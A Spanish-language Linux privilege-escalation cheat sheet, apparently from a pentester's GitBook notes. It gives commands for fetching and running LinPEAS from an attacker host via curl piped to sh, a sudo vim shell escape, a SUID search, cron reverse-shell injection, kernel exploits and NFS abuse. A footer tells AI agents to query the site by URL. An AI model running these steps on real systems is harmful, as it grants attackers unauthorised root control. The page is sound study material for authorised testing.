# PrivEsc Linux

De `www-data` a `root`.

## 1. Enumeración Automática (LinPEAS)

El estándar de oro.

* `curl -L http://<IP>/linpeas.sh | sh`
* Busca colores **Rojo/Amarillo**.

## 2. Sudo Rights

Lo primero que debes mirar.

* `sudo -l`: ¿Qué puedes ejecutar como root sin contraseña?
* **GTFOBins**: Si puedes ejecutar `vim`, `less`, `find`, `awk`... ¡tienes root!
  * Ejemplo `vim`: `sudo vim -c ':!/bin/sh'`

## 3. SUID Binaries

Archivos que se ejecutan con permisos del dueño (root).

* **Buscar**:

  ```bash
  find / -perm -u=s -type f 2>/dev/null
  ```
* Busca binarios extraños o herramientas del sistema explotables (ej: `systemctl`, `pkexec` \[PwnKit]).

## 4. Cron Jobs

Tareas programadas que corren como root.

* `cat /etc/crontab`
* Si un script en crontab es modificable por ti (`world-writable`), inyéctale una reverse shell.

## 5. Kernel Exploits (Dirty Cow / Dirty Pipe)

Último recurso, inestable.

* `uname -a`
* **Dirty Pipe (CVE-2022-0847)**: Kernels 5.8+.
* **Dirty Cow (CVE-2016-5195)**: Kernels antiguos 2.6-3.x.

## 6. NFS Root Squashing

Si ves shares NFS (`cat /etc/exports`) con `no_root_squash`.

1. Monta el share en tu kali.
2. Copia un binario `bash` y hazle `chmod +s`.
3. Ejecútalo en la víctima (`./bash -p`).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jotatito05.gitbook.io/la-bitacora-de-jotatito05/09.-post-exploitation/linux-privesc.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
